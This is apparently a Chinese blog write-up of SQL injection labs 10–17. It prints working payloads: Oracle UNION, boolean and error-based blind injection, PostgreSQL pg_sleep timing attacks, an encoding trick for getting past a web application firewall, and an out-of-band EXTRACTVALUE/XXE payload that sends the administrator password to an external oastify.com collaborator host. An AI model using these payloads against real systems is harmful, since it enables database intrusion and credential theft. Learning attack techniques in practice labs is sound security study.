17连环靶场SQL注入—漏洞就在延迟的那1s中(下)

17连环靶场SQL注入—漏洞就在延迟的那1s中

原来漏洞就在延迟的那1s中

十号靶场

和上面没太大区别,数据库换为oracle了

image-20230509232242771

拿字段

image-20230509232404903

爆出账户:

image-20230509232525729

十一号靶场

image-20230509232730501

构造判断payload后,发现没有报错,但是却没有回显

BurpSuite一顿测试后,发现cookie如果测试注入点1=1正确的情况下,会出先welcome 字样,但是如果注入失败,没有该字样,cookie参数致命注入点!

image-20230509234135383

祭出bool盲注(通过 bool 即 true和false结合二分搜索算法,定位数据库+表+字段 及名称的一种注入方式)

虽然麻烦(尝试使用sqlmap偷懒,却没有成功~~~0,0)

构造payload

hnkOCAAYwmvqMG6O’+and+1%3d1–

image-20230509234027628

image-20230509234240431

既然发现注入点,剩下工作就是拿表拿数据了

因为bool盲注测试很麻烦, 所以最好结合一下二分搜索法的算法

构造payload 猜测表名是否为users

**hnkOCAAYwmvqMG6O’ and (select ‘x’ from users limit 1)=‘x’-- **

image-20230509234806980

构造payload猜测用户名是否为 administrator

hnkOCAAYwmvqMG6O’ and (select username from users limit 1)=‘administrator’–

image-20230509234911799

构造payload判断出密码长度为20

hnkOCAAYwmvqMG6O’ and (select username from users where username=‘administrator’ and length(password)>1)=‘administrator’–

image-20230509235030543

下来就是通过ascii来一个一个猜测字母,这个过程很麻烦,所以是时候祭出爆破组了,BurpSuite里面有很好用的爆破工具,

image-20230509235238756

Cluster Bomb,集束炸弹 名字超爱!

image-20230509235503237

利用substr函数的开始下标参数,和 判断结果字母 作为爆破点,配置好爆破方式,开启爆破!

爆破点1为数字1-20,因为已经锁定密码长度为20

image-20230509235705528

image-20230509235745177

image-20230509235935445

密码爆出! 排列一下即可获得管理员密码为:nt7tk2mqnvy9r37asr0p

image-20230510000150929

十二号靶场

同样没有回显,和上一个靶场相比,也没有了welcome的提示

但测试后,发现TrackingId字段,如果加 ‘ 则响应为500 ,但是如果加两个 ’ ‘ 则响应为200

image-20230510232628215

image-20230510232723590

以此作为注入点,尝试盲注

image-20230510232831109

image-20230510232926058

构造payload

确定注入点
’ || (SELECT ‘’ FROM dual) || ’ ======> 200
’ || (SELECT ‘’ FROM aaaa) || ’ ======> 500

确定users表名
’ || (SELECT ‘’ FROM users where rownum=1) || ’ ======> 200

下来就是确定用户名,构造payload,此处payload确实学到不少东西:

' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '      

oracle 中 CASE 表达式类似于if-elsewhen1=1时,执行TO_CHAR函数,即将结果值从数字类型转换为String字符串,自然1/0会爆出异常
如果when1=0,结果不成立,则执行ELSE,搜索空值即可,

确定administrator用户,则转换为:
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE USERNAME='administrator') || ' 

sql的执行,会先执行外面的where 条件,当条件满足时,才会执行里面的case表达式,利用这个,则

如果administrator用户存在的话,则执行1=1 ,进而执行1/0,爆出异常

如果administrator不存在的话,则不会执行case表达式,则不会爆出异常

再通过同样的方式,确定password

确定PASSWORD的长度
’ || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE USERNAME=‘administrator’ AND LENGTH(password)>1) || ’
得到结果20

构造payload
’ || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE USERNAME=‘administrator’ AND SUBSTR(password,1,1)=‘a’) || ’

再利用 集束炸弹 进行爆破!

确认爆破点

image-20230510233817250

image-20230510233938469

确定密码:crc2eo0kkdauvxmy2mdo

image-20230510234103696

解决!

十三号靶场

同样没有回显,TrackingId 测试没发现注入点,延时注入,生效

构造payload

image-20230510235420712

十四号靶场

同样延时注入,只是这次要求用administrator身份登录

1、确定注入点 payload
’ || pg_sleep(10)–

2、确定users表存在
’ || (SELECT CASE WHEN(1=0) THEN pg_sleep(10) else pg_sleep(-1) end)–
’ || (SELECT CASE WHEN(username=‘administrator’) THEN pg_sleep(10) else pg_sleep(-1) end from users)–

3、确定password 的长度 为20
’ || (SELECT CASE WHEN(username=‘administrator’ AND LENGTH(password)>1) THEN pg_sleep(10) else pg_sleep(-1) end from users)–

4、确定password
’ || (SELECT CASE WHEN(username=‘administrator’ AND SUBSTR(password,1,1)=‘a’) THEN pg_sleep(10) else pg_sleep(-1) end from users)–

同理,爆破组准备!因为这次是延时注入,所以还需设置线程数为1,因为BurpSuite默认为10个线程同时跑,这样延时效果就会失效,爆破不出东西(学到就是赚到)

image-20230511000622103

response响应时间有明显的10s以上的延迟,就是正确密码,排列后得到密码:

s1azjop4kgfcd9tn04l5

image-20230511000856948

十五号靶场

image-20230511001249218

image-20230511002724088

BurpCollaborator ,带外工具

什么是Burp Collaborator?

Burp Collaborator 是 OAST的产物,它可以帮你实现对响应不可见和异步的一个漏洞检测。

测试跨站可能有些功能插入恶意脚本后无法立即触发或者是盲注跨站这种。解决办法是,我们需要一个外部的独立的服务器,可以通过域名 url 进行访问。而Burp 给我们提供了这个外部服务器,叫 Collaborator

image-20230511005253040

先搞定一波payload的写法,以Oracle为例

SELECT EXTRACTVALUE(xmltype(‘<?xml version="1.0" encoding="UTF-8"?> %remote;]>’),‘/l’) FROM dual

将Collaborator 获得的外部服务器地址:y326l2jf89l2g28y81cbm8irvi19py.oastify.com

将这个URL地址替换DNS look up 中的http位置,得到最终payload:

’ UNION SELECT EXTRACTVALUE(xmltype(‘<?xml version="1.0" encoding="UTF-8"?> %remote;]>’),‘/l’) FROM dual–

image-20230511010155085

抓包攻击!

后,回到Collaborator ,poll now ,下面就会获取到DNS的信息,破局!

image-20230511010304999

十六号靶场

依旧需要 带外攻击,与上面靶场类似,只是这次需要渗透到密码,登录才可以通关

image-20230511010824598

构造payload

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM  "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual          

获取Collaborator :qrlhbd33kdi9aou358r3kjhrgim9ay.oastify.com

构造最终payload:

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM  "http://'||(SELECT password from users where username='administrator')||'.qrlhbd33kdi9aou358r3kjhrgim9ay.oastify.com

/"> %remote;]>'),'/l') FROM dual--

image-20230511011259501

得到密码:

der761b0wuz9hndbbgsw

搞定!

十七号靶场

最后一个了~~加油了!

image-20230511011447019

题目最终还是要渗透到管理员账户,UNION攻击从其他表中获取数据

image-20230511013530215

进入靶场,内部下拉框处抓包发现了xml文件,前面提示也看到了xml,想必注入点就在这里,尝试UNION攻击

image-20230511013751372

提示出 ”检测到攻击“,所以说防火墙发现了攻击语句,结合题目,那就是要编码绕过防火墙即可。

重新构造payload,并且通过Hackvertor 来进行编码尝试绕过:

image-20230511014039070

发现dev_entrites 编码成功绕过WAF,这就OK啦~~

构造最终payload:

<@dec_entities>1 UNION SELECT concat(username,password) from users<@/dec_entities>

得到密码:qzr5kp1l5iyy617wh23z

image-20230511014248887

image-20230511014324826

找寻新世界还为时不晚,因为我的梦想是杨帆到日落之后的地方…

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值